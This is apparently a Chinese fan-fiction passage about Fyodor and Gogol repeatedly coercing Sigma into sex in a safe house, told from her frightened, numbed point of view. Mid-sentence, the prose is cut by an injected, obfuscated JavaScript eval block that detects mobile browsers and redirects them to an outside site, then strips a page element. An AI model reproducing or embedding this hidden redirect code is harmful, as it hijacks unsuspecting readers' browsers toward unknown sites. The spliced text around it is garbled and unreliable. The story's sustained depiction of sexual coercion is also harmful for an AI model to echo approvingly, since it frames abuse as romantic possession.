窗外的雪落得更急了,风声呜咽,像极了她不敢宣之于口的哀求,也像极了她在沙漠里,那些被风沙掩埋的、破碎的呼救。 天快亮吧,让这一切快点结束。 西格玛在心底一遍遍地祈求着,祈求天光刺破这无边的黑暗,祈求这场令人窒息的纠缠,能有个尽头。 但世间之事,从来都不是靠祈求,就能如愿的。 一切依旧继续着。 费奥多尔的吻落了下来。 带着他身上淡淡的茶香,从她裸露的胸前缓缓向上,掠过细腻的肌肤,留下一路微凉的战栗。 吻落在她裸露的肩头,热的,甚至算得上轻柔。 但西格玛只感到刺骨的冷。 那唇瓣沿着她的肩线游移,时而轻吮,时而用齿尖极缓地磨蹭,留下湿凉的痕迹。 这不是情欲的挑逗,而是标记。 他的唇辗转至她的脖颈,在那片脆弱的肌肤上轻轻厮磨,像是在描摹一件稀世的藏品,又像是在无声地宣告主权。 随后,那吻渐渐向上,落在她线条柔和的下颌。 费奥多尔轻轻抬起手,用指尖缓缓抚摸着西格玛的脸颊。 “西格玛。”他低声唤她,气息呵在她耳廓,声音低沉,带着令人毛骨悚然的亲昵。 她无法回应。 随后,费奥多尔用指腹摩挲着她微凉的肌肤,带着不容抗拒的力道,迫使她抬起头,直视着自己。 暖光下,他紫罗兰色的眼睛深不见底,里面没有欲望的浑浊,只有一种纯粹而冰冷的专注,像解剖师注视着手术台上的标本。 费奥多尔伸出手,指尖抚上她的脸颊,指腹缓缓擦过她紧绷的下眼睑。 “看着我。”他说,声音温和,却是不容置疑的命令。 西格玛的睫毛剧烈颤抖,视线无法聚焦。 她试图去看他垂落的黑发,看任何别的东西,但最终,还是被那深渊般的眼眸捕获。 她在里面看到自己苍白而空洞的倒影。 西格玛看着那双眼睛,看着自己映在其中的、苍白而麻木的倒影。 曾经,她对这双眼睛充满了深入骨髓的恐惧,连对视一秒的勇气都没有。 可此刻,她的意识却有些恍惚,像被抽走了所有的力气,连躲闪的念头都生不出来。 西格玛愣愣的望着那双紫罗兰色眼眸。 看着恶魔满意的勾起了唇角。 费奥多尔的指尖缓缓下移,轻轻抚过她的唇瓣,指腹的温度烫得她微微一颤。 他俯身,薄唇轻轻噙住她的下唇,用了几分力道轻咬。 一声极轻的呜咽,不受控制地从西格玛喉间溢出。 费奥多尔的动作骤然停下,那双紫罗兰色的眼眸里闪过一丝极淡的笑意。 他没有再进一步,转而用舌尖轻轻舔拭着那片被他咬过的柔软,动作带着一种近乎诡异的温柔。 最后,他微微俯身,吻落在了西格玛半垂的眼睫上。 西格玛的睫毛轻轻颤动了一下,像濒死的蝶翼。 费奥多尔直起身,将她紧紧拥入怀中,力道重得像是要将她揉进自己的骨血,胸膛贴着她微凉的耳廓,发出了一声近乎满足的叹息。 那声音低沉而缱绻,像大提琴尾音的震颤,落在空气里,却让西格玛的心底,漫过更深的寒意。 那不是温情的喟叹,而是猎人将猎物彻底纳入掌中的志在必得,是掌控一切的餍足,压得她连呼吸都觉得滞涩。 □□上的疲惫如同潮水般席卷而来,席卷了她紧绷的神经,西格玛控制不住地眼睑发颤,长长的睫毛像濒死的蝶翼,扇动着最后的力气。 她的意识渐渐模糊,那些恐惧的、窒息的、绝望的念头,都在这具带着茶香的怀抱里,一点点沉下去。 最后,西格玛在这让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193618|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐惧到骨子里的怀抱中,沉沉睡去。 眼角还挂着未干的湿痕,在暖黄的光线下,泛着细碎的、可怜的光。 费奥多尔只是低头,安静地拥抱着她,目光落在她恬静的睡颜上。 紫罗兰色的眼眸里,褪去了所有的算计与伪装,只剩下浓稠得化不开的占有欲,像深海的漩涡,要将眼前人彻底吞噬。 他的指尖轻轻划过她的脸颊,描摹着她的眉眼,动作轻柔得不像话,仿佛在对待一件失而复得的珍宝。 时间一分一秒地流逝,房间里静得只能听到两人交叠的呼吸声。 不知过了多久,窗外的雪,终于停了。 晨曦微亮,带着清冽的寒意,穿透厚重的窗帘缝隙,在地板上投下几道细碎的光。 房间里的气息安静得近乎凝滞,费奥多尔依旧保持着抱着西格玛的姿势,下巴抵在她的发顶,紫罗兰色的眼眸半阖着,看不出情绪。 西格玛早就醒了,却不敢动弹分毫。身体被他牢牢禁锢着,连呼吸都带着小心翼翼的沉重。 她能闻到费奥多尔身上淡淡的茶香,那味道曾让她莫名觉得心安,如今却只剩刺骨的寒意,丝丝缕缕钻进四肢百骸。 就在这时,空气里忽然泛起一阵细微的扭曲波动,斗篷布料划过空气的轻响突兀地划破了沉寂。 果戈里回来了。 他站在卧室门口,黑白斗篷的衣角还沾着未化的雪粒,银霜色的眼眸直直地落在床上相拥的两人身上。 他脸上惯有的戏谑笑容消失了,眼底翻涌着复杂的情绪,像被打翻的调色盘,有惊讶,有不甘,还有一丝近乎暴戾的嫉妒。 他没有说话,只是静静地站着,目光死死地盯着费奥多尔环在西格玛腰上的手,那眼神锐利得像是要将那只手生生折断。 费奥多尔似乎早有预料,缓缓抬眼,与果戈里对视。 他的唇角勾起一抹极淡的笑意,温柔得近乎挑衅,甚至还故意收紧了手臂,将西格玛抱得更紧了些。 西格玛的身体猛地一颤,她能感受到果戈里的目光像刀子一样落在自己身上,带着灼人的温度。 她下意识地想要躲开,却被费奥多尔牢牢禁锢着,动弹不得。 果戈里看着这一幕,胸口剧烈起伏了几下,胸腔里翻涌的情绪几乎要破体而出。 随即,他忽然低低地笑了起来。 那笑声越来越大,越来越癫狂,在安静的房间里回荡着,带着几分歇斯底里的意味。 “费佳,我们果然是挚友啊。”他的声音沙哑,带着一丝不易察觉的颤抖,眼底却燃烧着疯狂的火焰,“连喜欢的东西都一模一样。” 他一步步走近床边,缓缓俯身,指尖轻轻挑起西格玛的一缕头发,指腹摩挲着那柔软的发丝,眼底的情绪晦暗不明。 西格玛浑身紧绷,眼底满是惊恐,她能感受到果戈里指尖的凉意,那凉意顺着发丝蔓延,让她浑身发冷。 果戈里抬眼,看向费奥多尔,笑容里带着几分疯狂的挑衅:“游戏,才刚刚开始呢。” 说完,他猛地俯身,在西格玛的唇角印下一个带着掠夺性的吻,力道重得像是要将她生吞活剥。 费奥多尔的眼眸微微一沉,却没有阻止,只是抱着西格玛的手臂收得更紧了,眼底的占有欲浓烈得几乎要溢出来。 西格玛没有反抗,也没有挣扎。她什么都没有做,就像人偶一样,默默承受着一切。 晨曦彻底穿透了窗帘,照亮了房间里的一切。 西格玛怔怔地望着那片刺目的光,心底一片茫然。 天亮了吗? 怎么还这么暗。 —————— 果戈里离开了。 就跟他来的时候一样突然,黑白斗篷翻飞间,身影便消融在空气的扭曲波动里。 连一丝多余的声响都没留下。 房间里的凝滞感散了些,费奥多尔将怀中的西格玛悄然松开,慢条斯理地理了理衣襟,唇角噙着一抹浅淡的笑意,语调温和得像是晨间最寻常的问候:“早安,西格玛。” 西格玛的身体还残留着昨夜的僵硬,听到这声问候,几乎是本能地颔首应答,声音轻得像一缕烟:“早安。” 她看着费奥多尔嘴角那抹未散的笑意,那笑意落在她眼里,却像一层薄冰,底下藏着她读不懂的深渊。 费奥多尔不疾不徐地穿起外衣,动作优雅得如同在出席一场盛宴,西格玛也跟着默默起身,拾起散落的衣物往身上套,指尖触到布料时,指尖还带着一丝战栗的凉意。 一切都像平常一样,阳光透过窗棂洒在地板上,文件依旧堆在桌角,连空气里的茶香都和往日无异,好像什么都没有变化。 西格玛坐在办公桌前,指尖握着钢笔,目光落在密密麻麻的文字上,却一个字都看不进去。 就在这时,空气里泛起一阵熟悉的扭曲涟漪,一双有力的手臂突然从身后环住了她的腰,带着不容抗拒的力道,将她整个人带离了座椅。 是果戈里。 他甚至没给她反应的时间,便裹挟着她,转瞬便出现在了他的房间。 门在身后无声合上,隔绝了外面的天光。 果戈里自顾自地解着斗篷的系带,动作随性又带着几分侵略性,银霜色的眼眸里闪烁着晦暗的光。 西格玛的心猛地沉了下去。 她太清楚果戈里想做什么了,无非是和费奥多尔昨夜做过的那些事一样。 是掠夺,是侵占,是将她视作玩物的又一场闹剧。 西格玛知道,此刻的费奥多尔还在书房看书,她只要张口呼救,那道清瘦的身影或许就会出现。 可西格玛抿紧了唇,连一丝气音都没发出来。 她不信任果戈里,那双总是燃着疯狂火焰的眼睛,从来都让她恐惧。 可她同样不信任费奥多尔。 他的温柔是裹着蜜糖的毒药,他的援手,不过是为了将她牢牢锁在自己的囚笼里。 向他求救,不过是从一个深渊,跳入另一个深渊。 果戈里的指尖带着雪后未散的微凉温度,慢条斯理地解开了西格玛的衣扣,动作里没有半分急切,反倒带着几分玩味的审视。 布料从肩头滑落,露出细腻白皙的肌肤,在昏沉的光线下泛着近乎易碎的光泽。 他稍一用力,便将西格玛压倒在床上。西格玛半白半紫的发丝凌乱地铺散开,与深色的床单交织在一起,衣着松垮地挂在身上,勾勒出单薄的轮廓,衣领敞开着,露出带着红痕的雪白肌肤。 她的面容平静得近乎脆弱,眼帘低垂着,连睫毛都懒得颤动一下,没有反抗,也没有挣扎,像一尊被人随意摆弄的精致人偶。 可偏偏是这副逆来顺受的模样,让果戈里探向她的手骤然停住。 他的动作顿在半空,银霜色的眼眸里翻涌的侵略性褪去几分,取而代之的是一种近乎怔忪的茫然。 随即,他俯下身,修长的手指轻轻捏起一缕西格玛的发丝,指尖捻动着那柔软的触感,语气里带着一丝不易察觉的叹息:“啊,可怜的小鸟。” 银霜色的眼眸中,罕见地染上了一抹近乎怜惜的柔情。 因为撞见她与费奥多尔相拥而生的恼火,像是被突如其来的柔软戳破的泡影,转瞬便消散得无影无踪。 他看着她眼底那片死寂的空茫,心底忽然漫过一阵说不清道不明的情绪。 不自由的小鸟,被费奥多尔用温柔的枷锁牢牢困住的你,真是可怜啊。 “别担心。” 他的声音放得很轻,像是在哄骗一只受惊的幼兽,指尖轻轻拂过她苍白的脸颊,“我会解放你的。” 而这番话落在西格玛耳中,不过是果戈里又一场自导自演的戏剧。 他的怜惜,他的柔情,他口中的“解放”,都不过是感动自己的台词。 西格玛微微抬眼,望着那双盛满了所谓柔情的银色眼眸,心底一片漠然。 在这场只有他一人入戏的独角戏里,作为道具的她,本该连一丝戏份都没有。 可果戈里偏不。 他非要将她拉到舞台中央,逼她做这场荒诞戏剧的女主角。 果戈里没再给她走神的机会,俯身便吻了下来。 这个吻带着不容抗拒的掠夺性,比上一次更加汹涌,他撬开她的牙关,肆意掠夺着她口中稀薄的气息。 直到感受到怀中人的胸腔开始微微起伏,呼吸变得急促,才堪堪结束这个深吻。 他捧着西格玛的脸,拇指轻轻擦过她被吻得泛红的唇瓣,目光落在她泛着水光的眼眸里。 那层薄薄的泪光背后,藏着的不是羞涩,不是动情,而是深入骨髓的恐惧与排斥。 果戈里太清楚了,她排斥着费奥多尔的温柔掌控,同样也排斥着自己的热烈纠缠。 他看着她这副模样,忽然低低地笑了起来,语气里带着几分疯癫的感慨,像是在对她说话,又像是在自言自语:“这样的你,是自由的。” 话音落下,果戈里没有再犹豫,俯身继续做着自己想做的事。 这是他的自由,不是吗? 与费奥多尔那温水煮青蛙般的、裹着蜜糖的侵占不同。 他的自由,从来都是带着硝烟味的、肆意妄为的掠夺。 而另一边的书房里,费奥多尔依旧垂着眼,慢条斯理地翻着书页,指尖划过泛黄的纸页,动作从容不迫。 他当然知道果戈里的房间正在发生什么,这件安全屋里所发生的一切,都逃不过他的眼睛。 他甚至在期待着,期待着西格玛带着哭腔的呼救声响起。 只要她开口,只要她向自己低头,他有的是办法让果戈里停下。 可惜,直到书页翻到尽头,他也没等来那声呼救。 费奥多尔缓缓合上书,紫罗兰色的眼眸里掠过一丝极淡的冷意,随即又被温柔的笑意覆盖。 他指尖摩挲着书脊上的纹路,心底无声地叹息。 可怜的孩子。 如果向他求救,就不会遭遇这些了,不是吗? 果戈里的重量很快压了下来,带着硝烟与雪的凛冽气息。 西格玛像一尊被抽走灵魂的破布娃娃,任由他的指尖划过自己的肌肤,身体僵硬得像一块冰。 这本该是世间最亲密无间的事,可她连眼皮都不敢抬,不敢去看那双燃烧着占有欲的眼眸。 深入骨髓的恐惧,像藤蔓一样缠绕着她的四肢,让她连动弹一下的力气都没有。 果戈里的唇落了下来,带着雪的凉,又掺着近乎灼人的温度。 他循着那些深浅不一的红痕,一遍又一遍地吻过,像在描摹一幅独属于他的画作。 唇瓣擦过肌肤时,带着细碎的痒意,却让西格玛浑身的汗毛都竖了起来。 每一次触碰都像冰锥扎在皮肉上,激得她指尖蜷缩,牙齿死死咬着下唇,连一丝呜咽都不敢泄出。 他的吻很轻,轻得像羽毛拂过,可落在那些泛红的印记上,却重得像烙印,就像是要将这些痕迹,连同她的灵魂,都刻进自己的骨血里。 忽然,那轻柔的吻化作了带着惩罚意味的啃咬,落在西格玛肩头最细嫩的皮肉上。 力道不重,却带着不容置疑的侵略性,像野兽在自己的猎物身上留下专属的记号。 西格玛浑身一颤,喉咙里压抑许久的呜咽终于从唇瓣中泄露,细碎又脆弱,像濒死的蝶翼在风中震颤。 果戈里停下了动作,指尖缓缓抚上她的脸颊,指腹擦过她眼角溢出的湿意,眼底翻涌着近乎病态的满意,像欣赏一件终于染上属于自己色彩的珍宝。 那枚咬痕精准地盖过前人残留的吻痕,将那些浅淡的印记彻底碾灭,像一场无声的宣告。 他的动作愈发急切,指尖攥着西格玛的肩骨,力道重得几乎要嵌进皮肉里。 果戈里俯下身,在那片被雪色浸凉的肌肤上,不断烙下新的齿痕与吻迹。 红痕叠着红痕,像一幅被反复涂改的画。 原本带着惩罚意味的啃咬,不知何时渐渐染上了意乱情迷的温度。 果戈里的呼吸变得灼热,喷在西格玛颈侧,带着硝烟与雪的混合气息,低沉的笑声里裹着偏执的疯癫。 他要拉着西格玛一同沉沦,一同坠入这不见底的深渊。 (删减) 像是溺水者坠入深不见底的寒潭,肺腑间漫上来的窒闷感层层叠叠翻涌,口鼻被无形的潮水死死堵住,意识在缺氧的眩晕里一点点涣散。 明明是被爱欲裹挟,却与濒死的窒息别无二致,仿佛下一秒,心跳便要彻底沉寂在这令人绝望的浪潮中。 西格玛的指尖死死抠进身下的床单,指节泛白到近乎透明,连一丝颤抖都不敢太过明显。 就算有微弱的战栗漫过四肢,那也绝非什么愉悦的滋味。 (删减) 灼热时,她像被投入焚烧的火刑架,每一寸皮肤都在叫嚣着疼痛,意识在高温里熔化成黏稠的绝望。 窒息时,又像被拽入深海,无形的压力挤压着胸腔,连思维都变得迟缓沉重,只能眼睁睁看着自己的精神一点点溺毙。 这份极致的精神排斥,与□□的震颤和不适紧紧缠缚,交织成一张密不透风的网。 网丝勒着她的咽喉,堵着她的胸口,让她连喘息都带着钝痛,心底翻涌的恶心感几乎要将她彻底吞噬。 西格玛在这样的交替里反复经历死亡。 (删减) 她在生与死的边界线上来回拉扯。 每一次呼吸都像是从死亡边缘挣扎着夺回的残喘,每一次意识回笼,都只是为了迎接下一轮更猛烈的淹没。 西格玛恍惚地望着天花板,果戈里伏在她身上的身影不时挡在眼前,肩胛的弧度一次次将那片苍白的天顶遮断。 她刻意避开视线,不去看他,那抹晃荡在眼前的银发,像窗外飘落的雪,泛着刺骨的凉意。 几缕细碎的发丝随着他的动作垂落,擦过她的颈侧与锁骨,触感冰凉得如同淬了雪的刀锋。 如果真的是刀就好了。 西格玛想。 捅穿自己吧,把这一切都结束掉。 西格玛的视线逐渐虚焦,眼前的人影、天花板的纹路,都在一片朦胧里搅成混沌的色块。 她甚至分不清那拂过皮肤的,是他的发丝,还是窗外渗进来的、带着雪粒的风。 □□上的感知变得麻木,像被冻僵的肢体失去了知觉。 他的动作、体温,甚至呼吸落在颈间的触感,都成了隔着一层厚雾的模糊信号,既不真切,也无从躲避。 眼前的人也好,这令人窒息的房间也罢,都成了模糊不清的轮廓,唯有那份深入骨髓的抗拒,清晰得灼人。 天花板上的纹路在视线里愈发混沌,像一团理不清的乱麻,又像是交织缠绕的蛛网。 西格玛只是空洞地望着,连眨眼都显得格外迟缓。 这样的日子,什么时候才是个头? 窗外的雪不知何时又开始落了,簌簌的声响隔着厚重的墙壁传来,细碎得像她心底无声的呜咽。 雪落了又融,融了又落,日子就这样一天天地重复,没有丝毫改变。 西格玛静静地听着身前的喘息声,混合着自己胸腔里沉重得近乎凝滞的心跳。 她想,或许这样的日子,根本就没有尽头。 4. 混沌 午餐时间的餐厅里,光线静悄悄的淌过银质餐具的边缘。 果戈里借着异能毫无征兆地现身,像一阵掠过高窗的风,轻飘飘落进了座位。 众人一一入座。 西格玛垂着眼,沉默地用餐。 她的身侧是坐姿散漫的果戈里,对面则坐着费奥多尔。 费奥多尔的指尖捏着银质餐叉,指节分明的手缓缓用力,慢条斯理地切割着盘中的煎蛋。 蛋白边缘凝着淡淡的焦香,蛋黄被划开时溢出一点金黄的浆液。 他却似毫不在意,紫罗兰色的眼眸垂落,目光淡淡扫过瓷盘边缘细密的纹路。 长睫在眼睑下投出浅淡的阴影,仿佛对周遭的一切都漫不经心。 片刻后,费奥多尔的目光才缓缓抬起,极轻地旋了一圈。 掠过餐厅里一切。 最后若无其事地落在西格玛身上。 那视线没有停留太久,却在她身上的裙子上顿了顿。 像一片羽毛轻轻拂过布料,带着几分难以察觉的审视。 又很快收回,重新落回盘中未动的食物上。 今天的西格玛穿了条白色蕾丝裙,布料缀着细碎的镂空花纹,衬得她裸露在外的手臂愈发纤细。 这裙子是果戈里昨夜突然送给她的。 昨夜的余温仿佛还残留在肌肤上。 果戈里的房间里没点灯,月光淌过地板,照亮男人赤裸的肩背。 他搂着同样赤裸的西格玛,指尖缠着她的发丝,一圈圈绕着,像在把玩一件易碎的珍宝。 忽然,地上他随意丢弃的外套上,凭空多了一件叠得整整齐齐的白色蕾丝裙。 “明天穿上它。”果戈里的声音低哑,带着几分漫不经心的笑意。 西格玛没说话,只是睫毛轻轻颤了颤。 他的手又滑向了她的胸前,掌心滚烫的温度熨得她浑身绷紧,连呼吸都不敢重一分。 第二天他们一同醒来,天光熹微时,果戈里慢条斯理地帮她穿上了这条裙子。 冰凉的蕾丝擦过肌肤,像一层细密的网。 她垂着眼,看着男人骨节分明的手指替她系好背后的蝴蝶结。 从头到尾,她都没有办法拒绝。 此刻,西格玛握着刀叉的手很稳,动作却慢得近乎凝滞。 忽然,她的动作猛地顿住。 桌布垂下的阴影里,裙摆被轻轻撩起,一只温热的手贴了上来,正慢条斯理地摩挲着她的大腿。 细腻的肌肤被粗糙的掌心蹭过,激起一阵战栗的麻意。 西格玛的双腿猛地用力合拢,膝盖撞在一起,发出轻微的声响。 可果戈里像没察觉一般,指尖依旧带着几分玩味的弧度,顺着肌理轻轻游走。 他脸上挂着漫不经心的笑,另一只手还在慢条斯理地切割着盘中的牛排,仿佛桌下的动作不过是随手捻起的一点消遣。 餐桌对面,费奥多尔终于抬了抬眼。 他目光淡淡扫过桌下那只不安分的手,又落在西格玛微微颤抖的肩头,薄唇轻启,声音平静无波:“果戈里,用餐该有用餐的仪式。” 果戈里撇了撇嘴,似乎觉得索然无味,终于慢悠悠地将手收了回来。 西格玛紧绷的脊背微微松了一瞬,却在下一秒,撞上了费奥多尔投来的目光。 男人对着她极淡地笑了笑,眼尾的弧度温柔得像淬了蜜糖。 可那笑意落在西格玛眼里,却让她握着餐具的手猛地收紧,指节泛出淡淡的青白。 —————— 费奥多尔并不像果戈里那样重欲,这对西格玛来说算是好事。 不同于果戈里带着恶趣味、在她身上留下的那些张扬又刺眼的痕迹,费奥多尔的触碰总是带着一种近乎克制的轻柔。 他的指尖缓缓拂过那片莹润的雪白,指腹贴着细腻的肌肤轻轻游走。 那片皮肉生来过于娇嫩,哪怕只是这样轻缓的摩挲,也会留下淡红的指印。 嫣红的印记浅浅晕染在雪白的肌肤上,像雪地里落下的红梅花瓣。 费奥多尔垂眸看着,眼尾漫开一丝极淡的笑意。 那是带着全然掌控欲的、餍足的笑。 不知为何,西格玛心底漫上一股难以言喻的羞赧,远胜过果戈里那些肆意妄为的触碰带来的慌乱。 那是一种更私密的、带着点无措的热意,从耳根悄悄爬上来,烧得她指尖都发颤。 她仓促地偏过头,睫羽簌簌颤抖,不愿再去看他眼中的自己。 下一秒,费奥多尔便俯下身。 微凉的唇瓣轻轻落在她的唇角,像一片雪花落上滚烫的肌肤,轻得像一声叹息。 他伸出手,指腹轻轻扣住她的下颌。 力道不重,却带着不容置喙的强硬,迫使她转过头来,直视自己。 西格玛眼睫颤了颤,浓密的羽睫像受惊的蝶翼般簌簌晃动。 下意识想要回避,侧脸微微偏转时,柔软的唇角恰好扫过费奥多尔微凉的掌心。 那触感轻得像一缕风,却在两人肌肤相触的瞬间,激起一阵细微的痒。 顺着掌心蔓延开,缠上费奥多尔的神经。 他眼底的笑意愈发明显,眼尾微微上扬,带着几分玩味与餍足。 指尖轻轻摩挲着她下颌细腻的肌肤,语气漫不经心,温柔的调子裹着化不开的掌控:“怎么不敢看我?” 西格玛的脸颊泛起淡淡的红晕,连耳尖都染上了薄热。 这并非单纯的羞涩,而是因为恐惧交加。 西格玛被他扣着下颌无法闪躲,只能被迫对上他紫罗兰色的眼眸。 那双眼眸深邃得像寒潭,映着她慌乱无措的模样。 让她心底的羞赧更甚,指尖无意识地蜷起,攥住了身侧的布料。 费奥多尔的拇指轻轻蹭过她的唇角。 刚才被她扫过的地方仿佛还残留着柔软的触感,带着一点淡淡的温热。 他低笑出声,声音低沉悦耳,像大提琴的弦轻轻震颤。 压迫感却丝丝缕缕缠上西格玛的脊背:“刚才不是还在回避?现在这样,倒像只受惊的小兔子。” 他的指尖缓缓下移,掠过她颈侧细腻的肌肤,带起一阵细微的战栗。 最终停在她胸前那片嫣红印记旁。 没有触碰,只是虚虚悬着。 目光却像带着温度的丝线,缠得她浑身不自在。 西格玛的呼吸渐渐急促,胸口微微起伏着。 睫羽上凝聚了细碎的水汽,眼神躲闪着,却逃不开他的注视。 只能紧紧抿着唇,将所有声响都闷在口中。 不同于果戈里喜欢折腾到底,直到西格玛沉沉睡去。 有时在一切结束后,费奥多尔会邀西格玛一同洗澡。 那邀请总是带着不容置喙的温和,西格玛没有拒绝的余地,只能沉默地跟在他身后,踩着沉重的脚步走进浴室。 费奥多尔房间的浴室里摆着一只宽大的浴缸,温热的水流早已注满,白色的泡沫在水面轻轻浮动,氤氲的水汽模糊了瓷砖的棱角,也模糊了两人之间僵硬的边界。 他们一同躺进浴缸,姿态亲昵得像热恋的情侣。 西格玛被迫靠在费奥多尔的怀里,后背贴着他温热的肌肤,浴缸里的水温恰到好处,暖得能漫进骨头缝,可她心底却窜起一股彻骨的寒意,顺着脊椎一点点蔓延开来。 这寒意并非来自水温,而是源于身后这个怀抱,源于这个看过她所有脆弱、所有不堪,却依旧用温柔包裹着她的男人。 明明身体早已被他彻底触碰过,那些连自己都未曾仔细审视过的角落,也早已暴露在他眼前,可西格玛还是无法适应这样的赤裸相对。 毫无遮掩的肌肤相贴,仿佛将她的灵魂都剥去了外壳,所有的怯懦、抗拒与不安都无所遁形。 让她浑身都透着难以言喻的不适,安全感被冲刷得一干二净。 值得庆幸的是,水面漂浮的泡沫像一层脆弱的屏障,掩盖了那些她不愿看见的画面。 □□与□□的交织,毫无保留的裸露,都被这白茫茫的泡沫轻轻遮住,给了她一丝微不足道的喘息空间。 费奥多尔的指尖漫不经心地划过水面,带起一圈圈细碎的涟漪,随后轻轻落在她半白半紫的长发上。 湿发柔软地缠在他指缝间,他动作很轻,像是在打理一件易碎的珍宝,指腹擦过发梢时,还带着淡淡的茶香。 “你的头发,很特别。”他低声开口,嗓音被水汽浸得有些沙哑,却依旧带着惯有的、能迷惑人心的温和。 西格玛的身体瞬间绷紧,指尖下意识地攥紧,指甲深深陷进掌心,却不敢发出半点声响。 她垂着眼帘,目光死死盯着水面的泡沫,连呼吸都刻意放轻放缓,生怕自己的一丝异动,都会引来他更深的注视。 在浴缸里沉默地泡了许久,直到水温渐渐回落,指尖泛起微凉的触感,费奥多尔才缓缓起身,西格玛也跟着撑起身体,手臂微微发颤,动作间带着难以掩饰的僵硬与疏离。 费奥多尔穿着宽松的浴袍,指尖捏着条柔软的毛巾,帮西格玛擦拭身体。 少女的肌肤像玉一样光润,而那些深浅不一的绯红印记,是他方才留下的痕迹。 费奥多尔的动作很慢,毛巾轻轻拂过她的肌肤,带着刚洗过的温热,却让西格玛浑身发冷。 指尖掠过那些淡红的印记时,他的动作会放得更缓,指腹不经意地摩挲过,像在抚摸一件易碎的珍宝,眼底是深不见底的幽光。 西格玛僵着身子,指尖攥得发白,连呼吸都放得极轻,生怕自己的一丝声响,就会惊扰了身后的人,引来更让她无措的触碰。 她能清晰地闻到他身上淡淡的、冷冽的雪松香,混着沐浴后的水汽,丝丝缕缕钻进鼻腔,却让她浑身的汗毛都微微竖起,泛起一层细密的战栗。 他擦得格外仔细,从湿漉漉的发梢到纤细的脚踝,一寸寸温柔拂过,没有遗漏任何一处。 那些被泡沫遮住的、藏在肌肤纹理里的战栗,却在他的触碰下,一点点漫上来。 最后,他们一同回到床上。 费奥多尔自然地伸出手臂,将西格玛搂进怀里,相拥而眠的姿态亲昵得如同真正的爱人。 西格玛只是紧闭着双眼。 她能感受到他平稳的呼吸落在发顶,温热的,却带着不容逃离的禁锢。 他的手臂环着她的腰,力道不重,却像一道无形的枷锁,将她牢牢锁在怀里。 窗外的月光透过薄纱窗帘,洒下一片朦胧的银辉,落在他苍白的侧脸,勾勒出精致又冷冽的轮廓。 西格玛闭着眼,眼前是漆黑的漩涡,鼻中是他的气息,心底一片茫然。 她不知道这样的夜晚还要持续多久,也不知道自己在他眼中,究竟是一件玩物,还是一枚棋子。 或许两者都有。 费奥多尔似乎察觉到她的清醒,低头,在她发顶落下一个极轻的吻,声音低沉而温柔,像情人间的呢喃,却带着刺骨的寒意:“睡吧,西格玛。” 语气里的不容置疑,让西格玛浑身一颤,只能重新闭上眼睛,将那些纷乱的思绪,尽数压回心底。 黑暗里,费奥多尔睁开眼,紫罗兰色的眸子里,没有半分睡意,只有一片深不见底的平静,像结了冰的湖面。 他看着怀中人蜷缩的背影,唇角缓缓勾起一抹极淡的笑意。 温顺的,胆怯的,像一只被驯服的幼兽。 这样的西格玛,才是最合他心意的。 才是,永远不会逃离他的。 他收紧手臂,将人抱得更紧,鼻尖蹭过她柔软的发顶,眼底的笑意,渐次加深。 —————— 俄罗斯的清晨浸着刺骨寒意,安全屋的木窗结着一层薄霜,雪粒子被风卷着,断断续续敲打着玻璃。 费奥多尔坐在客厅靠窗的书桌后,面前的红茶还冒着热气,指尖摩挲着冰凉的杯壁时,视线已越过书页,落在了不远处的身影上。 西格玛正蹲在壁炉边添柴,纤细的手指捏着木柴,动作轻得像怕惊扰了什么。 火光映在她脸上,投下淡淡的橘色光晕,她垂着眼睫,长长的睫毛在眼睑下扫出细碎阴影,连添柴的动作都带着小心翼翼的紧绷。 即便背对着他,也能察觉到她脊背的僵硬,仿佛身后的目光是无形的枷锁。 费奥多尔看着她,看着她添完柴后悄悄松了口气的模样,指尖无意识地摩挲着杯沿,眸色沉了沉。 早餐时间,餐桌上摆着煎得金黄的三明治、冒着热气的热汤,还有一盘刚烤好的曲奇。 黄油的甜香漫在空气里。 西格玛坐在他对面,双手规规矩矩地放在膝上,背脊挺得笔直,像一根绷紧的弦。 她指尖攥着银质的餐叉,许久才轻轻拿起一块三明治。 动作克制得近乎拘谨,小口小口地咬着,连咀嚼都放得极轻。 生怕发出一点多余的声响。 费奥多尔没说话,只是慢条斯理地喝茶。 骨瓷茶杯与杯托相碰,发出清脆的轻响。 他的目光却自始至终没离开过她,像一张无形的网,将她牢牢罩在其中。 紫罗兰色的眼眸里没什么波澜,只有一种近乎审视的平静,描摹着她每一个拘谨的动作。 直到西格玛无意识地抬眼,目光落在那盘曲奇上。 犹豫了几秒,她才伸出指尖,小心翼翼地拈起一块。 曲奇的酥松触感在指尖化开。 她试探着咬下一小口,黄油的甜香瞬间漫过舌尖。 那瞬间,她紧绷的眉眼骤然松懈,嘴角几不可查地弯了弯。 那双总是盛满惊惧的眼睛亮了起来,像被雪光点亮的星子。 一闪而过的雀跃柔软得不像话。 费奥多尔执杯的动作微不可察地顿了顿。 他看着她眼底那点转瞬即逝的光亮,唇角勾起一抹极淡的、几乎难以察觉的弧度。 像猎手看到猎物露出破绽时,隐秘的愉悦。 可这光亮只持续了短短一秒。 她下意识地抬眼,无意间撞上他落在自己身上的目光。 瞳孔猛地收缩,手里的曲奇差点掉在桌上。 西格玛慌忙低下头,指尖死死攥着那块曲奇。 连咀嚼的动作都变得僵硬,方才那点转瞬即逝的雀跃,也被惊慌彻底压了下去。 费奥多尔看着她骤然瑟缩的模样,眼底的笑意悄然敛去,重新归于一片深不见底的平静。 他缓缓啜了一口茶,温热的茶水滑过喉咙,熨帖了唇齿间的微凉,心底却莫名漫起些许说不清道不明的惆怅意味。 上午的时光在整理文件中度过。 西格玛伏在另一张书桌前,笔尖划过纸张的沙沙声在寂静的屋里格外清晰。 费奥多尔坐在不远处,看似在专注审阅情报,实则视线从未离开过她。 看她遇到晦涩的字句时,会轻轻蹙起眉尖,那点微蹙的弧度落在他眼里,比纸上的密文还要清晰。 看她写错字时,会懊恼地抿了抿唇,指尖飞快划掉错误的痕迹,耳尖悄悄泛起薄红。 